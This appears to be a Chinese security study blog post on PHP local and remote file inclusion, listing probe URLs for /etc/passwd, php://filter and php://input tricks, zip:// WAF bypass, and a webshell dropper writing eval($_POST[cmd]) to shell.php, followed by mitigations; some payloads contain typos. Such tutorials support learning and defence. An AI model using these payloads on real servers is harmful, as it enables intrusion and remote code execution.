最近的总结都比较简单,但不是在水,只是在我学习过程中总结的觉得真的有用的知识,还有就是有些代码发不出来我也没办法,所以就有所调整。

文件包含原理是啥?
文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,
就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,
此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

讲讲文件包含的两种类型呢?
本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。
远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,
由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

PHP进行文件包含的四种函数讲讲?
PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。
这四个函数都可以进行文件包含,但作用并不一样。

  • include:找不到被包含的文件时只会产生警告,脚本将继续执行。
  • include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require:找不到被包含的文件时会产生致命错误,并停止脚本。
  • require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

文件包含有哪些特征?
?page=a.php
?home=b.html
?file=content

说说文件包含的常见检测呢?
?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

讲讲怎样利用文件包含?
思路:
制作一个图片马,通过文件上传漏洞上传;
通过文件包含漏洞对该图片马进行“包含”;
获取执行结果

一、 读取敏感文件
我们可以利用文件包含漏洞,读取任意文件,读取文件的时候有利用条件
① 目标主机文件存在(目标文件的绝对路径和相对路径);
② 具有文件可读权限
提交参数?path=c:\windows\System32\drivers\etc\hosts读取本地host文件
?path=…\windows\System 32\drivers\etc\hosts x先返回到最上级目录即根目录er

二、 直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,直接包含图片木马?path=pngYjh.png 然后使用蚁剑或者中国菜刀连接

三、包含木马写shell
可以将以下代码写入图片中

<?php fputs (fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')

?>
代码含义是:在当前目录下创建一个名为shell.php的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>

四、PHP封装协议——传输PHP文件
?path=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可

五、 PHP封装协议——访问本地文件
使用PHP的file协议访问本地系统文件,提交参数
?path=php://c:\windows\System32\drivers\etc\hosts

六、PHP封装协议——执行PHP命令
PHP伪协议(文件包含漏洞常用的利用方法)
PHP协议因为自定义的,所以被称为伪协议。PHP伪协议实际上是PHP所支持的协议与封装协议,共12种。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs【文件传输协议】
php:// — 访问各个输入/输出流(I/O streams)
zip:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

下面着重写几种常用的协议
一、php://——访问各个输入/输出流
使用条件:不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory 和 php://temp 需要开启allow_url_include且打开危害较大,
需要慎重;php://访问各个输入输入、输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter在php.ini配置下,allow_url_fopen和allow_url_include双off情况下也可以使用。
?file=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
?file=php://filter/convert.base64-encode/resource=index.php //或去掉read

php://input可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
php.ini配置中allow_url_fopen :off/on ;allow_url_include:on
POST : <?php phpinfo()?>

也可以POST如下内容生成一句话:

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');

?> //包含木马写shell
代码含义是:在当前目录下创建一个名为shell.php的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>

二、file://——访问本地文件系统
用于访问本地文件系统,在CTF中通常用来读取本地文件且不受allow_url_fopen和allow_url_include控制。
?file=file://[文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file:///etc/passwd

三、zip://——访问压缩流
压缩流,访问压缩文件的子文件,不受allow_url_fopen和allow_url_include控制。
?file=zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/cmd.php?file=zip:///var/www/html/shell.zip#shell.php
用法:将写好的一句话木马压缩为zip上传,然后使用zip协议访问,即可绕过waf访问一句话木马,zip协议只支持绝对路径。

四、phar://——PHP归档
访问phar文件,phar文件本质上也是压缩文件,不受allow_url_fopen和allow_url_include控制。
?file=phar://[压缩文件绝对路径/相对路径[压缩文件子文件名]
与zip协议的区别在于phar协议可以可以使用相对路径,但它本身可引起反序列化漏洞。

五、data://——数据流
php.ini的配置:
allow_url_fopen :on
allow_url_include:on

六、http://——访问 HTTP(s) 网址
php.ini的配置:
allow_url_fopen :on
allow_url_include:on
http://192.168.1.1/cmd.php?file=https://www.baidu.com //即显示百度主页
涉及远程文件包含,参考上面的远程文件包含漏洞演示。
文件包含漏洞的防范措施
在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作;
过滤…/…/,http://,https://
配置php.ini配置文件:
allow_url_fopen=off //不管开不开,本次文件包含都存在
Allow_url_include=off //远程文件包含漏洞时需要打开,打开时需要慎重,危害很大
magic_quotes_gpc=on
无需情况下设置allow_url_include和allow_url_fopen为关闭
通过白名单策略,仅允许包含运行指定的文件,其他的都禁止
建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,
包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。

文件包含的漏洞、原理、利用相关推荐

  1. 【愚公系列】2023年05月 网络安全高级班 071.WEB渗透与安全(文件包含漏洞原理利用防御)

    文章目录 前言 一.文件包含漏洞原理利用防御 1.原理 1.1 简介 1.2 分类 1.3 代码 1.3.1 shell语句 1.3.2 包含语句 2.渗透 2.1 低安全级别 2.1.1 本地文件包 ...

  2. 网安基础学习之“文件上传漏洞原理与实现”

    网安基础学习之"文件上传漏洞原理与实现" 近期新闻头条上报出了"长沙市场监管局网站被上传了黄色页面",经过长沙市公安局网技支队的排查,该门户网站后台编辑器存在* ...

  3. 文件上传漏洞原理/方式/防护

    文件上传漏洞是获取服务器权限最快也是最直接的一个漏洞 原理 文件上传漏洞是指用户上传可执行脚本文件 , 并通过脚本文件控制Web服务器 利用方式 文件上传漏洞的利用分为客户端和服务端 客户端主通过JS ...

  4. phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现

    phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1.环境搭建 2.漏洞复现 方法一:命令执行 方法二:phpMyAdm ...

  5. 通达OA任意文件上传/文件包含RCE漏洞分析

    通达OA任意文件上传/文件包含RCE漏洞分析 0x01 前提 0x01 漏洞介绍 0x02 漏洞分析 首先下载安装 绕过身份验证文件上传部分 变量传递问题 文件包含部分 0x01 前提 关于这个漏洞的 ...

  6. 文件包含LFI漏洞Getshell日志文件目录遍历

    文件包含漏洞的出现及危害 文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行时执行 ...

  7. 文件包含漏洞原理/利用方式/应对方案

    原理 用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行 触发点/检测 文件包含漏洞的检测需要配合代码审计,重点在文件包含的函数 include() require() include ...

  8. 文件上传漏洞原理和利用

    文件上传 1.前段选择文件,提交文件 2.浏览器形成POST MultiPart报文发送到服务器 3.服务器中间件接收到报文,解析后交给后端代码进行处理 4.后端代码将上传的文件内容写入到临时文件中( ...

  9. 文件上传漏洞-原理篇

    目录 第1章 文件上传漏洞基础 1.1 漏洞概述 1.2 漏洞成因 1.3 漏洞危害 1.4 漏洞利用姿势 第2章 文件上传漏洞检测与绕过 2.1 前端检测和绕过 2.2 服务器端检测和绕过 第3章 ...

最新文章

  1. 基因课 15天入门生物信息(2021年) 第三天 Linux基础命令(3)
  2. 数字图像处理中常用图像分割算法有哪些?
  3. svm多分类_人工智能科普|机器学习重点知识——支持向量机SVM
  4. VB无所不能之三:VB截获Windows消息的钩子
  5. npm WARN enoent ENOENT: no such file or directory
  6. 用redis实现消息队列(实时消费+ack机制)【转】
  7. upload-labs_pass12_文件名截断_URL要编码为%00_pass13_文件名截断_Hex修改为00
  8. LintCode 378. 将二叉树转换成双链表(非递归遍历)
  9. php callback 多线程,PHP cURL并发里的callback那行是什么效能
  10. 一切问题的解决都离不开人
  11. Mysql常见的日期查询语句
  12. python根据url链接下载文件
  13. 手机号正则和邮箱正则,常用正则解释
  14. 新零售“最强大脑”论剑,天猫推40余项新零售赋能计划
  15. Docker - 配置国内加速器加速镜像下载
  16. 利用Github Pages搭建个人在线简历
  17. 还在用PDF做简历?落后了!
  18. uiautomator2输入中文的问题
  19. 微信小程序拼团头像叠加css 【亲测有效】
  20. 计算机专业助我成长400字作文,关于助我成长的作文400字(精选20篇)

热门文章

  1. 成都物韵电子商务有限公司推广网店需要注意什么?
  2. 计算机科学中atm是什么,计算机专业知识:ATM网络基本原理
  3. 用unity开发贪吃蛇,勾起我童年乐趣的小游戏
  4. Window XP驱动开发(十) 驱动程序的基本结构
  5. 超全万字汇总!科研论文绘图实操干货!11类Matplotlib图表,含代码
  6. [BZOJ1233][Usaco2009Open]干草堆tower(单调队列优化)
  7. 软件测试常见面试题合集(接口测试面试详细答案)
  8. 微信小程序《难忘便签》开发记录
  9. WebStorm配置TSLint
  10. Vue基础语法知识(自用,完整版)